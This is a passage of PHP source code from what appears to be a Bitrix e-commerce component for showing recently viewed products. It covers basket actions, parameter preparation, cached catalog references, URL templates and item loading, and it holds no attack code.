die();
}
}
/**
* Process request actions list
* @return void
*/
protected function doActionsList()
{
$this->processBuyAction();
$this->processAddToBasketAction();
$this->processSubscribeAction();
}
/**
* Process incoming request.
* @return void
*/
protected function processRequest()
{
global $APPLICATION;
try
{
$this->doActionsList();
}
catch (Main\SystemException $e)
{
if ($this->isAjax())
{
$APPLICATION->restartBuffer();
header('Content-Type: application/json');
echo Main\Web\Json::encode(array('STATUS' => 'ERROR', 'MESSAGE' => $e->getMessage()));
die();
}
else
{
$this->warnings[] = Main\Text\HtmlFilter::encode($e->getMessage());
}
}
}
/**
* Process Puy Product.
*
* @param int $productID
* @param float $quantity
* @param array $values
* @param array $arRewriteFields
* @throws void|Bitrix\Main\SystemException
*/
protected function addProductToBasket($productID, $quantity, $values = array(), $arRewriteFields = array())
{
$productProperties = array();
$productID = (int)$productID;
$intProductIBlockID = (int)CIBlockElement::GetIBlockByID($productID);
if ($intProductIBlockID > 0)
{
$productCatalogInfo = CCatalogSKU::getInfoByIblock($intProductIBlockID);
$isOffer = CCatalogSKU::TYPE_OFFERS == $productCatalogInfo['CATALOG_TYPE'];
if ($this->arParams['ADD_PROPERTIES_TO_BASKET'] == 'Y')
{
// Is not offer
if (!$isOffer)
{
// Props not empty
if (!empty($this->arParams['CART_PROPERTIES'][$intProductIBlockID]))
{
$productProperties = CIBlockPriceTools::CheckProductProperties(
$intProductIBlockID,
$productID,
$this->arParams['CART_PROPERTIES'][$intProductIBlockID],
$values,
$this->arParams['PARTIAL_PRODUCT_PROPERTIES'] == 'Y'
);
if (!is_array($productProperties))
{
throw new Main\SystemException(Loc::getMessage("CVP_PARTIAL_BASKET_PROPERTIES_ERROR"));
}
}
}
else
{
if (!empty($this->arParams['CART_PROPERTIES'][$intProductIBlockID]))
{
$productProperties = CIBlockPriceTools::GetOfferProperties(
$productID,
$productCatalogInfo['PRODUCT_IBLOCK_ID'],
$this->arParams['CART_PROPERTIES'][$intProductIBlockID]
);
}
}
}
if (0 >= $quantity)
{
$rsRatios = CCatalogMeasureRatio::getList(
array(),
array('PRODUCT_ID' => $productID),
false,
false,
array('PRODUCT_ID', 'RATIO')
);
if ($arRatio = $rsRatios->Fetch())
{
$intRatio = (int)$arRatio['RATIO'];
$dblRatio = (float)$arRatio['RATIO'];
$quantity = ($dblRatio > $intRatio ? $dblRatio : $intRatio);
}
}
if (0 >= $quantity)
$quantity = 1;
}
else // Cannot define product catalog
{
throw new Main\SystemException(Loc::getMessage('CVP_CATALOG_PRODUCT_NOT_FOUND') . ".");
}
if (!Add2BasketByProductID($productID, $quantity, $arRewriteFields, $productProperties))
throw new Main\SystemException(Loc::getMessage("CVP_CATALOG_ERROR2BASKET") . ".");
}
/**
* Check Required Modules
* @throws Exception
*/
protected function checkModules()
{
if (!Main\Loader::includeModule('catalog'))
throw new Main\SystemException(Loc::getMessage('CVP_CATALOG_MODULE_NOT_INSTALLED'));
$this->isCurrency = true;
if (!Main\Loader::includeModule('sale'))
$this->isSale = false;
}
/**
* Prepare Component Params.
*
* @param array $params Component parameters.
* @return array
*/
public function onPrepareComponentParams($params)
{
if (isset($params['CUSTOM_SITE_ID']))
{
$this->setSiteId($params['CUSTOM_SITE_ID']);
}
$params["DETAIL_URL"] = trim($params["DETAIL_URL"]);
$params["BASKET_URL"] = trim($params["BASKET_URL"]);
$params["CACHE_TIME"] = intval($params["CACHE_TIME"]);
if ($params["CACHE_TIME"] <= 0)
$params["CACHE_TIME"] = 3600;
if ($params["BASKET_URL"] === '')
$params["BASKET_URL"] = "/personal/basket.php";
$params['ACTION_VARIABLE'] = $this->prepareActionVariable($params);
$params["PRODUCT_ID_VARIABLE"] = trim($params["PRODUCT_ID_VARIABLE"]);
if ($params["PRODUCT_ID_VARIABLE"] === '' || !preg_match("/^[A-Za-z_][A-Za-z01-9_]*$/", $params["PRODUCT_ID_VARIABLE"]))
$params["PRODUCT_ID_VARIABLE"] = "id";
$params["USE_PRODUCT_QUANTITY"] = $params["USE_PRODUCT_QUANTITY"] === "Y";
$params["PRODUCT_QUANTITY_VARIABLE"] = trim($params["PRODUCT_QUANTITY_VARIABLE"]);
if ($params["PRODUCT_QUANTITY_VARIABLE"] === '' || !preg_match("/^[A-Za-z_][A-Za-z01-9_]*$/", $params["PRODUCT_QUANTITY_VARIABLE"]))
$params["PRODUCT_QUANTITY_VARIABLE"] = "quantity";
$params["PRODUCT_PROPS_VARIABLE"] = trim($params["PRODUCT_PROPS_VARIABLE"]);
if ($params["PRODUCT_PROPS_VARIABLE"] === '' || !preg_match("/^[A-Za-z_][A-Za-z01-9_]*$/", $params["PRODUCT_PROPS_VARIABLE"]))
$params["PRODUCT_PROPS_VARIABLE"] = "prop";
$params['ADD_PROPERTIES_TO_BASKET'] = (isset($params['ADD_PROPERTIES_TO_BASKET']) && $params['ADD_PROPERTIES_TO_BASKET'] == 'N' ? 'N' : 'Y');
$arParams['PARTIAL_PRODUCT_PROPERTIES'] = (isset($arParams['PARTIAL_PRODUCT_PROPERTIES']) && $arParams['PARTIAL_PRODUCT_PROPERTIES'] === 'Y' ? 'Y' : 'N');
$params["SET_TITLE"] = $params["SET_TITLE"] != "N";
$params["DISPLAY_COMPARE"] = $params["DISPLAY_COMPARE"] == "Y";
$params["PAGE_ELEMENT_COUNT"] = intval($params["PAGE_ELEMENT_COUNT"]);
if ($params["PAGE_ELEMENT_COUNT"] <= 0)
$params["PAGE_ELEMENT_COUNT"] = 20;
$params["LINE_ELEMENT_COUNT"] = intval($params["LINE_ELEMENT_COUNT"]);
if ($params["LINE_ELEMENT_COUNT"] <= 0)
$params["LINE_ELEMENT_COUNT"] = 3;
$params["OFFERS_LIMIT"] = intval($params["OFFERS_LIMIT"]);
if ($params["OFFERS_LIMIT"] < 0)
$params["OFFERS_LIMIT"] = 5;
elseif ($params['OFFERS_LIMIT'] == 0)
$params["OFFERS_LIMIT"] = PHP_INT_MAX;
$params['MESS_BTN_BUY'] = trim($params['MESS_BTN_BUY']);
$params['MESS_BTN_ADD_TO_BASKET'] = trim($params['MESS_BTN_ADD_TO_BASKET']);
$params['MESS_BTN_SUBSCRIBE'] = trim($params['MESS_BTN_SUBSCRIBE']);
$params['MESS_BTN_DETAIL'] = trim($params['MESS_BTN_DETAIL']);
$params['MESS_NOT_AVAILABLE'] = trim($params['MESS_NOT_AVAILABLE']);
if ('Y' != $params['SHOW_DISCOUNT_PERCENT'])
$params['SHOW_DISCOUNT_PERCENT'] = 'N';
if ('Y' != $params['SHOW_OLD_PRICE'])
$params['SHOW_OLD_PRICE'] = 'N';
if ('Y' != $params['PRODUCT_SUBSCRIPTION'])
$params['PRODUCT_SUBSCRIPTION'] = 'N';
$params['PROPERTY_CODE'] = array();
$params['ADDITIONAL_PICT_PROP'] = array();
$params['LABEL_PROP'] = array();
$params['OFFER_TREE_PROPS'] = array();
$params['CART_PROPERTIES'] = array();
$params['SHOW_PRODUCTS'] = array();
foreach ($params as $name => $prop)
{
// Property code
if (preg_match("/^PROPERTY_CODE_(\d+)$/", $name, $arMatches))
{
$iBlockID = (int)$arMatches[1];
if ($iBlockID <= 0)
continue;
if (!empty($params[$name]) && is_array($params[$name]))
{
foreach ($params[$name] as $k => $v)
if ($v === "")
unset($params[$name][$k]);
$params['PROPERTY_CODE'][$iBlockID] = $params[$name];
}
unset($params[$arMatches[0]]);
} // Additional Picture property
elseif (preg_match("/^ADDITIONAL_PICT_PROP_(\d+)$/", $name, $arMatches))
{
$iBlockID = (int)$arMatches[1];
if ($iBlockID <= 0)
continue;
if ($params[$name] != "" && $params[$name] != "-")
{
$params['ADDITIONAL_PICT_PROP'][$iBlockID] = $params[$name];
}
unset($params[$arMatches[0]]);
} //
elseif (preg_match("/^LABEL_PROP_(\d+)$/", $name, $arMatches))
{
$iBlockID = (int)$arMatches[1];
if ($iBlockID <= 0)
continue;
if (is_array($params[$name]))
{
$value = '';
foreach ($params[$name] as $rawValue)
{
if ($rawValue != '' && $rawValue != '-')
{
$value = $rawValue;
break;
}
}
}
else
{
$value = $params[$name];
}
if ($value != "" && $value != "-")
{
$params['LABEL_PROP'][$iBlockID] = $value;
}
unset($value);
unset($params[$arMatches[0]]);
} // Offer Group property
elseif (preg_match("/^OFFER_TREE_PROPS_(\d+)$/", $name, $arMatches))
{
$iBlockID = (int)$arMatches[1];
if ($iBlockID <= 0)
continue;
if (!empty($params[$name]) && is_array($params[$name]))
{
foreach ($params[$name] as $k => $v)
if ($v == "" || $v == "-")
unset($params[$name][$k]);
$params['OFFER_TREE_PROPS'][$iBlockID] = $params[$name];
}
unset($params[$arMatches[0]]);
} // Add to Basket Props
elseif (preg_match("/^CART_PROPERTIES_(\d+)$/", $name, $arMatches))
{
$iBlockID = (int)$arMatches[1];
if($iBlockID <= 0)
continue;
if (!empty($params[$name]) && is_array($params[$name]))
{
foreach ($params[$name] as $k => $v)
if ($v == "" || $v == "-")
unset($params[$name][$k]);
}
$params['CART_PROPERTIES'][$iBlockID] = $params[$name];
unset($params[$arMatches[0]]);
}
// Show products
elseif (preg_match("/^SHOW_PRODUCTS_(\d+)$/", $name, $arMatches))
{
$iBlockID = (int)$arMatches[1];
if($iBlockID <= 0)
continue;
if ($params[$name] == "Y")
$params['SHOW_PRODUCTS'][$iBlockID] = true;
unset($params[$arMatches[0]]);
}
}
if (!is_array($params["PRICE_CODE"]))
$params["PRICE_CODE"] = array();
$params["SHOW_PRICE_COUNT"] = intval($params["SHOW_PRICE_COUNT"]);
if ($params["SHOW_PRICE_COUNT"] <= 0)
$params["SHOW_PRICE_COUNT"] = 1;
if (empty($params['HIDE_NOT_AVAILABLE']))
$params['HIDE_NOT_AVAILABLE'] = 'N';
elseif ('Y' != $params['HIDE_NOT_AVAILABLE'])
$params['HIDE_NOT_AVAILABLE'] = 'N';
if (empty($params['SHOW_IMAGE']))
$params['SHOW_IMAGE'] = 'Y';
if (empty($params['SHOW_NAME']))
$params['SHOW_NAME'] = 'Y';
$params["PRICE_VAT_INCLUDE"] = $params["PRICE_VAT_INCLUDE"] !== "N";
$params['CONVERT_CURRENCY'] = (isset($params['CONVERT_CURRENCY']) && 'Y' == $params['CONVERT_CURRENCY'] ? 'Y' : 'N');
$params['CURRENCY_ID'] = trim(strval($params['CURRENCY_ID']));
if ('' == $params['CURRENCY_ID'])
{
$params['CONVERT_CURRENCY'] = 'N';
}
elseif ('N' == $params['CONVERT_CURRENCY'])
{
$params['CURRENCY_ID'] = '';
}
$params['SECTION_CODE'] = (isset($params['SECTION_CODE']) ? trim($params['SECTION_CODE']) : '');
$params['SECTION_ID'] = (isset($params['SECTION_ID']) ? (int)$params['SECTION_ID'] : 0);
$params['IBLOCK_ID'] = (isset($params['IBLOCK_ID']) ? (int)$params['IBLOCK_ID'] : 0);
$params['SECTION_ELEMENT_ID'] = (isset($params['SECTION_ELEMENT_ID']) ? (int)$params['SECTION_ELEMENT_ID'] : 0);
$params['SECTION_ELEMENT_CODE'] = (isset($params['SECTION_ELEMENT_CODE']) ? trim($params['SECTION_ELEMENT_CODE']) : '');
if (isset($params['USER_ID']))
{
$params['USER_ID'] = (int)$params['USER_ID'];
if ($params['USER_ID'] < 0)
$params['USER_ID'] = 0;
}
return $params;
}
protected function getSectionIdByCode($sectionCode = "")
{
$sectionId = 0;
$sectionCode = (string)$sectionCode;
if ($sectionCode === '')
return $sectionId;
$sectionFilter = array(
'@IBLOCK_ID' => $this->arParams['IBLOCK_ID'],
'=IBLOCK.ACTIVE' => 'Y',
'=CODE' => $sectionCode
);
$section = Iblock\SectionTable::getList(array(
'select' => array('ID'),
'filter' => $sectionFilter
))->fetch();
if (!empty($section))
$sectionId = (int)$section['ID'];
unset($section, $sectionFilter);
return $sectionId;
}
protected function getSectionIdByElement($elementId, $elementCode = '')
{
$sectionId = 0;
$elementId = (int)$elementId;
$elementCode = (string)$elementCode;
$filter = array('=IBLOCK_ID' => $this->arParams['IBLOCK_ID']);
if ($elementId > 0)
$filter['=ID'] = $elementId;
elseif ($elementCode !== '')
$filter['=CODE'] = $elementCode;
else
return $sectionId;
$itemIterator = Iblock\ElementTable::getList(array(
'select' => array('ID', 'IBLOCK_SECTION_ID'),
'filter' => $filter
));
if ($item = $itemIterator->fetch())
$sectionId = (int)$item['IBLOCK_SECTION_ID'];
return $sectionId;
}
protected function getProductIds()
{
return null;
}
/**
* Return viewed product ids map.
*
* @return array("KEY" => "VALUE")
*/
protected function getProductIdsMap()
{
$map = array();
if (!Main\Loader::includeModule('sale'))
return array();
$skipUserInit = false;
if (!Catalog\Product\Basket::isNotCrawler())
$skipUserInit = true;
$basketUserId = (int)CSaleBasket::GetBasketUserID($skipUserInit);
if ($basketUserId <= 0)
return array();
$useSectionFilter = ($this->arParams["SHOW_FROM_SECTION"] == "Y");
$sectionSearch = $this->arParams["SECTION_ID"] > 0 || $this->arParams["SECTION_CODE"] !== '';
$sectionByItemSearch = $this->arParams["SECTION_ELEMENT_ID"] > 0 || $this->arParams["SECTION_ELEMENT_CODE"] !== '';
if ($useSectionFilter && ($sectionSearch || $sectionByItemSearch ))
{
if ($sectionSearch)
$sectionId = ($this->arParams["SECTION_ID"] > 0) ? $this->arParams["SECTION_ID"] : $this->getSectionIdByCode($this->arParams["SECTION_CODE"]);
else
$sectionId = $this->getSectionIdByElement($this->arParams["SECTION_ELEMENT_ID"], $this->arParams["SECTION_ELEMENT_CODE"]);
$map = Catalog\CatalogViewedProductTable::getProductSkuMap(
$this->arParams['IBLOCK_ID'],
$sectionId,
$basketUserId,
$this->arParams['SECTION_ELEMENT_ID'],
$this->arParams['PAGE_ELEMENT_COUNT'],
$this->arParams['DEPTH']
);
}
else
{
$emptyProducts = array();
$siteId = $this->getSiteId();
$filter = array('=FUSER_ID' => $basketUserId, '=SITE_ID' => $siteId);
if ($this->arParams['SECTION_ELEMENT_ID'] > 0)
$filter['!=ELEMENT_ID'] = $this->arParams['SECTION_ELEMENT_ID'];
$viewedIterator = Catalog\CatalogViewedProductTable::getList(array(
'select' => array('PRODUCT_ID', 'ELEMENT_ID'),
'filter' => $filter,
'order' => array('DATE_VISIT' => 'DESC'),
'limit' => $this->arParams['PAGE_ELEMENT_COUNT']
));
unset($filter);
while ($viewedProduct = $viewedIterator->fetch())
{
$viewedProduct['ELEMENT_ID'] = (int)$viewedProduct['ELEMENT_ID'];
$viewedProduct['PRODUCT_ID'] = (int)$viewedProduct['PRODUCT_ID'];
$map[$viewedProduct['PRODUCT_ID']] = $viewedProduct['ELEMENT_ID'];
if ($viewedProduct['ELEMENT_ID'] <= 0)
$emptyProducts[] = $viewedProduct['PRODUCT_ID'];
}
if (!empty($emptyProducts))
{
$emptyProducts = Catalog\CatalogViewedProductTable::getProductsMap($emptyProducts);
if (!empty($emptyProducts))
{
foreach ($emptyProducts as $product => $parent)
{
if ($parent == $this->arParams['SECTION_ELEMENT_ID'])
unset($map[$product]);
else
$map[$product] = $parent;
}
}
}
}
return $map;
}
/**
* Returns catalog prices data by product.
* @param array $item Product.
* @return array
*/
protected function getPriceDataByItem(array $item)
{
$prices = CIBlockPriceTools::GetItemPrices($item['IBLOCK_ID'], $this->data['CATALOG_PRICES'], $item, $this->arParams['PRICE_VAT_INCLUDE'], $this->data['CONVERT_CURRENCY']);
return array(
'PRICES' => $prices,
'MIN_PRICE' => CIBlockPriceTools::getMinPriceFromList($prices),
);
}
/**
* Resort $items field according to input ids parameter
*
* @param $productIds
*/
protected function resortItemsByIds($productIds)
{
$tmpItems = array();
foreach ($productIds as $prodId)
{
$parentId = $this->productIdsMap[$prodId];
if (isset($this->items[$parentId])) // always
$tmpItems[$parentId] = $this->items[$parentId];
}
$this->items = $tmpItems;
$this->makeItemsLinks();
}
/**
* Create items links
*
* @return void
*/
protected function makeItemsLinks()
{
$this->linkItems = array();
if (empty($this->items))
return;
foreach ($this->items as $index => $item)
$this->linkItems[$item['ID']] = &$this->items[$index];
unset($index, $item);
}
protected function separateItemsByIblock()
{
$this->iblockItems = array();
$this->needItemProperties = array();
if (empty($this->productIdsMap))
return;
$itemsIterator = Iblock\ElementTable::getList(array(
'select' => array('ID', 'IBLOCK_ID'),
'filter' => array('@ID' => $this->productIdsMap)
));
while ($item = $itemsIterator->fetch())
{
$item['ID'] = (int)$item['ID'];
$item['IBLOCK_ID'] = (int)$item['IBLOCK_ID'];
if (!isset($this->iblockItems[$item['IBLOCK_ID']]))
$this->iblockItems[$item['IBLOCK_ID']] = array();
$this->iblockItems[$item['IBLOCK_ID']][] = $item['ID'];
if (!isset($this->needItemProperties[$item['IBLOCK_ID']]))
{
$this->needItemProperties[$item['IBLOCK_ID']] = (
(isset($this->arParams['PROPERTY_CODE'][$item['IBLOCK_ID']]) && !empty($this->arParams['PROPERTY_CODE'][$item['IBLOCK_ID']])) ||
isset($this->arParams['ADDITIONAL_PICT_PROP'][$item['IBLOCK_ID']]) ||
isset($this->arParams['LABEL_PROP'][$item['IBLOCK_ID']])
);
}
}
unset($item, $itemsIterator);
}
/**
* Get additional data for cache
*
* @return array
*/
protected function getAdditionalReferences()
{
return array();
}
/**
* Get common data from cache.
* @return mixed[]
*/
protected function getReferences()
{
$this->arParams['CACHE_GROUPS'] = (isset($this->arParams['CACHE_GROUPS']) && $this->arParams['CACHE_GROUPS'] == 'N' ? 'N' : 'Y');
$obCache = new CPHPCache;
if ($this->arParams['CACHE_GROUPS'] == 'Y')
{
$userGroups = implode(",", Main\UserTable::getUserGroupIds($this->getUserId()));
$cacheId = implode("-", array(__CLASS__, $this->getLanguageId(), $this->getSiteId(), $userGroups));
}
else
$cacheId = implode("-", array(__CLASS__, $this->getLanguageId(), $this->getSiteId()));
$cached = array();
if ($obCache->StartDataCache($this->arParams["CACHE_TIME"], $cacheId, $this->getSiteId().'/'.$this->getRelativePath().'/reference'))
{
// Catalog Groups
$cached['CATALOG_GROUP'] = array();
$catalogGroupList = CCatalogGroup::GetListArray();
if (!empty($catalogGroupList))
{
foreach ($catalogGroupList as $catalogGroup)
$cached['CATALOG_GROUP'][$catalogGroup['NAME']] = $catalogGroup;
unset($catalogGroup);
}
unset($catalogGroupList);
// Catalog Prices
$cached['CATALOG_PRICE'] = CIBlockPriceTools::GetCatalogPrices(false, array_keys($cached['CATALOG_GROUP']));
// Catalog Currency
$cached['CURRENCY'] = array();
if ($this->isCurrency)
{
$by = "currency";
$order = "asc";
$currencyIterator = CCurrency::getList($by, $order);
while ($currency = $currencyIterator->fetch())
{
$cached['CURRENCY'][$currency['CURRENCY']] = $currency;
}
}
// Catalogs list
$cached['CATALOG'] = array();
$catalogIterator = CCatalog::getList(array("IBLOCK_ID" => "ASC"));
while ($catalog = $catalogIterator->fetch())
{
$info = CCatalogSku::getInfoByIblock($catalog['IBLOCK_ID']);
$catalog['CATALOG_TYPE'] = $info['CATALOG_TYPE'];
$cached['CATALOG'][$catalog['IBLOCK_ID']] = $catalog;
}
unset($catalog, $catalogIterator);
// Measure list
$cached['MEASURE'] = array();
$measureIterator = CCatalogMeasure::getList(array("CODE" => "ASC"));
while ($measure = $measureIterator->fetch())
$cached['MEASURE'][$measure['ID']] = $measure;
unset($measure, $measureIterator);
// Default Measure
$cached['DEFAULT_MEASURE'] = CCatalogMeasure::getDefaultMeasure(true, true);
$additionalCache = $this->getAdditionalReferences();
if (!empty($additionalCache) && is_array($additionalCache))
{
foreach ($additionalCache as $cacheKey => $cacheData)
$cached[$cacheKey] = $cacheData;
unset($cacheKey, $cacheData);
}
unset($additionalCache);
$obCache->EndDataCache($cached);
}
else
{
$cached = $obCache->GetVars();
}
return $cached;
}
protected function fillUrlTemplates()
{
global $APPLICATION;
$currentPath = CHTTP::urlDeleteParams(
$APPLICATION->GetCurPageParam(),
array($this->arParams['PRODUCT_ID_VARIABLE'], $this->arParams['ACTION_VARIABLE'], ''),
array('delete_system_params' => true)
);
$currentPath .= (stripos($currentPath, '?') === false ? '?' : '&');
if ($this->arParams['COMPARE_PATH'] == '')
{
$comparePath = $currentPath;
}
else
{
$comparePath = CHTTP::urlDeleteParams(
$this->arParams['COMPARE_PATH'],
array($this->arParams['PRODUCT_ID_VARIABLE'], $this->arParams['ACTION_VARIABLE'], ''),
array('delete_system_params' => true)
);
$comparePath .= (stripos($comparePath, '?') === false ? '?' : '&');
}
$this->arParams['COMPARE_PATH'] = $comparePath.$this->arParams['ACTION_VARIABLE'].'=COMPARE';
$this->urlTemplates['~BUY_URL_TEMPLATE'] = $currentPath.$this->arParams['ACTION_VARIABLE'].'='.self::ACTION_BUY.'&'.$this->arParams['PRODUCT_ID_VARIABLE'].'=';
$this->urlTemplates['BUY_URL_TEMPLATE'] = htmlspecialcharsbx($this->urlTemplates['~BUY_URL_TEMPLATE']);
$this->urlTemplates['~ADD_URL_TEMPLATE'] = $currentPath.$this->arParams['ACTION_VARIABLE'].'='.self::ACTION_ADD_TO_BASKET.'&'.$this->arParams['PRODUCT_ID_VARIABLE'].'=';
$this->urlTemplates['ADD_URL_TEMPLATE'] = htmlspecialcharsbx($this->urlTemplates['~ADD_URL_TEMPLATE']);
$this->urlTemplates['~SUBSCRIBE_URL_TEMPLATE'] = $currentPath.$this->arParams['ACTION_VARIABLE'].'='.self::ACTION_SUBSCRIBE.'&'.$this->arParams["PRODUCT_ID_VARIABLE"].'=';
$this->urlTemplates['SUBSCRIBE_URL_TEMPLATE'] = htmlspecialcharsbx($this->urlTemplates['~SUBSCRIBE_URL_TEMPLATE']);
$this->urlTemplates['~COMPARE_URL_TEMPLATE'] = $comparePath.$this->arParams['ACTION_VARIABLE'].'='.self::ACTION_ADD_TO_COMPARE_LIST.'&'.$this->arParams['PRODUCT_ID_VARIABLE'].'=';
$this->urlTemplates['COMPARE_URL_TEMPLATE'] = htmlspecialcharsbx($this->urlTemplates['~COMPARE_URL_TEMPLATE']);
unset($comparePath, $currentPath);
}
/**
* Get items for view.
* @return mixed[] array('ID' => array(), 'ID' => array(), ...)
*/
protected function getItems()
{
if (empty($this->productIdsMap) || empty($this->arParams['SHOW_PRODUCTS']))
return array();
$this->separateItemsByIblock();
$defaultMeasure = $this->data['DEFAULT_MEASURE'];
$items = array();
foreach (array_keys($this->arParams['SHOW_PRODUCTS']) as $iblock)
{
$this->linkItems = array();
if (empty($this->iblockItems[$iblock]))
continue;
$filter = $this->filter;
$filter['IBLOCK_ID'] = $iblock;
$filter['ID'] = $this->iblockItems[$iblock];
$elementIterator = CIBlockElement::GetList(array(), $filter, false, false, $this->selectFields);
$elementIterator->SetUrlTemplates($this->arParams['DETAIL_URL']);
while ($element = $elementIterator->GetNext())
{
$element['ID'] = (int)$element['ID'];
$element['ACTIVE_FROM'] = $element['DATE_ACTIVE_FROM'];
$element['ACTIVE_TO'] = $element['DATE_ACTIVE_TO'];
$buttons = CIBlock::GetPanelButtons(
$element['IBLOCK_ID'],
$element['ID'],
0,
array("SECTION_BUTTONS" => false, "SESSID" => false, "CATALOG" => true)
);
$element['EDIT_LINK'] = $buttons['edit']['edit_element']['ACTION_URL'];
$element['DELETE_LINK'] = $buttons['edit']['delete_element']['ACTION_URL'];
$ipropValues = new \Bitrix\Iblock\InheritedProperty\ElementValues($element["IBLOCK_ID"], $element["ID"]);
$element["IPROPERTY_VALUES"] = $ipropValues->getValues();
$element["PREVIEW_PICTURE"] = ($element["PREVIEW_PICTURE"] > 0 ? CFile::GetFileArray($element["PREVIEW_PICTURE"]) : false);
if ($element["PREVIEW_PICTURE"])
{
$element["PREVIEW_PICTURE"]["ALT"] = $element["IPROPERTY_VALUES"]["ELEMENT_PREVIEW_PICTURE_FILE_ALT"];
if ($element["PREVIEW_PICTURE"]["ALT"] == "")
$element["PREVIEW_PICTURE"]["ALT"] = $element["NAME"];
$element["PREVIEW_PICTURE"]["TITLE"] = $element["IPROPERTY_VALUES"]["ELEMENT_PREVIEW_PICTURE_FILE_TITLE"];
if ($element["PREVIEW_PICTURE"]["TITLE"] == "")
$element["PREVIEW_PICTURE"]["TITLE"] = $element["NAME"];
}
$element["DETAIL_PICTURE"] = ($element["DETAIL_PICTURE"] > 0 ? CFile::GetFileArray($element["DETAIL_PICTURE"]) : false);
if ($element["DETAIL_PICTURE"])
{
$element["DETAIL_PICTURE"]["ALT"] = $element["IPROPERTY_VALUES"]["ELEMENT_DETAIL_PICTURE_FILE_ALT"];
if ($element["DETAIL_PICTURE"]["ALT"] == "")
$element["DETAIL_PICTURE"]["ALT"] = $element["NAME"];
$element["DETAIL_PICTURE"]["TITLE"] = $element["IPROPERTY_VALUES"]["ELEMENT_DETAIL_PICTURE_FILE_TITLE"];
if ($element["DETAIL_PICTURE"]["TITLE"] == "")
$element["DETAIL_PICTURE"]["TITLE"] = $element["NAME"];
}
$element["PROPERTIES"] = array();
$element["DISPLAY_PROPERTIES"] = array();
$element["PRODUCT_PROPERTIES"] = array();
$element['PRODUCT_PROPERTIES_FILL'] = array();
if (!isset($element["CATALOG_MEASURE_RATIO"]))
$element["CATALOG_MEASURE_RATIO"] = 1;
if (!isset($element['CATALOG_MEASURE']))
$element['CATALOG_MEASURE'] = 0;
$element['CATALOG_MEASURE'] = (int)$element['CATALOG_MEASURE'];
if ($element['CATALOG_MEASURE'] < 0)
$element['CATALOG_MEASURE'] = 0;
if (!isset($element['CATALOG_MEASURE_NAME']))
$element['CATALOG_MEASURE_NAME'] = '';
$element['CATALOG_MEASURE_NAME'] = $defaultMeasure['SYMBOL_RUS'];
$element['~CATALOG_MEASURE_NAME'] = $defaultMeasure['~SYMBOL_RUS'];
$items[$element['ID']] = $element;
$this->linkItems[$element['ID']] = &$items[$element['ID']];
}
unset($element, $elementIterator);
$propFilter = array(
'ID' => $this->iblockItems[$iblock],
'IBLOCK_ID' => $iblock
);
CIBlockElement::GetPropertyValuesArray($this->linkItems, $iblock, $propFilter);
unset($propFilter);
foreach ($this->linkItems as &$element)
{
CCatalogDiscount::SetProductPropertiesCache($element['ID'], $element['PROPERTIES']);
if (isset($this->arParams['PROPERTY_CODE'][$iblock]))
{
$properties = $this->arParams['PROPERTY_CODE'][$iblock];
foreach ($properties as $propertyName)
{
if (!isset($element['PROPERTIES'][$propertyName]))
continue;
$prop = &$element['PROPERTIES'][$propertyName];
$boolArr = is_array($prop["VALUE"]);
if (
($boolArr && !empty($prop["VALUE"]))
|| (!$boolArr && strlen($prop["VALUE"]) > 0)
)
{
$element['DISPLAY_PROPERTIES'][$propertyName] = CIBlockFormatProperties::GetDisplayValue($element, $prop, 'catalog_out');
}
unset($prop);
}
}
if ($this->arParams['ADD_PROPERTIES_TO_BASKET'] == 'Y' && !empty($this->arParams['CART_PROPERTIES'][$iblock]))
{
$element["PRODUCT_PROPERTIES"] = CIBlockPriceTools::GetProductProperties(
$element['IBLOCK_ID'],
$element["ID"],
$this->arParams['CART_PROPERTIES'][$iblock],
$element["PROPERTIES"]
);
if (!empty($element["PRODUCT_PROPERTIES"]))
$element['PRODUCT_PROPERTIES_FILL'] = CIBlockPriceTools::getFillProductProperties($element['PRODUCT_PROPERTIES']);
}
}
unset($element, $this->linkItems);
}
unset($iblock);
unset($elementKey);
return $items;
}
/**
* Gets catalog prices needed for component.
*
* @param array $priceCodes
* @return array
*/
protected function getCatalogPrices(array $priceCodes = array())
{
$catalogPrices = array();
foreach ($priceCodes as $code)
{
if (isset($this->data['CATALOG_PRICE'][$code]))
$catalogPrices[$code] = $this->data['CATALOG_PRICE'][$code];
}
return $catalogPrices;
}
/**
* Get main data - viewed products.
* @return void
*/
protected function prepareData()
{
$this->fillUrlTemplates();
$this->data = $this->getReferences();
$this->prepareSystemData();
$this->productIds = $this->getProductIds();
if (is_null($this->productIds))
{
$this->productIdsMap = $this->getProductIdsMap();
$this->productIds = array_keys($this->productIdsMap);
}
else
{
$this->productIdsMap = Catalog\CatalogViewedProductTable::getProductsMap($this->productIds);
}
$this->iblockItems = array();
$this->linkItems = array();
$this->prepareFilter();
$this->prepareSelectFields();
$this->items = $this->getItems();
$this->resortItemsByIds($this->productIds);
$this->setItemsMeasure();
$this->setItemsOffers();
$this->setItemsPrices();
}
/**
* Fill system data.
*
* return void
*/
protected function prepareSystemData()
{
$this->data['CATALOG_PRICES'] = $this->getCatalogPrices($this->arParams['PRICE_CODE']);
$this->data['CONVERT_CURRENCY'] = array();
if ($this->arParams['CONVERT_CURRENCY'] == 'Y' && $this->arParams['CURRENCY_ID'] != '')
{
if (!$this->isCurrency)
{
$this->arParams['CONVERT_CURRENCY'] = 'N';
$this->arParams['CURRENCY_ID'] = '';
}
else
{
if (isset($this->data['CURRENCY'][$this->arParams['CURRENCY_ID']]))
{
$this->data['CONVERT_CURRENCY'] = array(
'CURRENCY_ID' => $this->arParams['CURRENCY_ID']
);
}
else
{
$this->arParams['CONVERT_CURRENCY'] = 'N';
$this->arParams['CURRENCY_ID'] = '';
}
}
}
}
/**
* Prepare data to render.
* @return void
*/
protected function formatResult()
{
$this->arResult['ITEMS'] = $this->items;
$this->arResult['CONVERT_CURRENCY'] = $this->data['CONVERT_CURRENCY'];
$this->arResult['CATALOGS'] = $this->data['CATALOG'];
$this->arResult['ERRORS'] = $this->errors;
$this->arResult['WARNINGS'] = $this->warnings;
}
/**
* set prices for all items
* @return void
*/
protected function setItemsPrices()
{
// Set items Prices
foreach ($this->items as &$item)
{
$item["PRICES"] = array();
$item['MIN_PRICE'] = false;
$item["CAN_BUY"] = false;
$item['~BUY_URL'] = $this->urlTemplates['~BUY_URL_TEMPLATE'].$item['ID'];
$item['BUY_URL'] = $this->urlTemplates['BUY_URL_TEMPLATE'].$item['ID'];
$item['~ADD_URL'] = $this->urlTemplates['~ADD_URL_TEMPLATE'].$item['ID'];
$item['ADD_URL'] = $this->urlTemplates['ADD_URL_TEMPLATE'].$item['ID'];
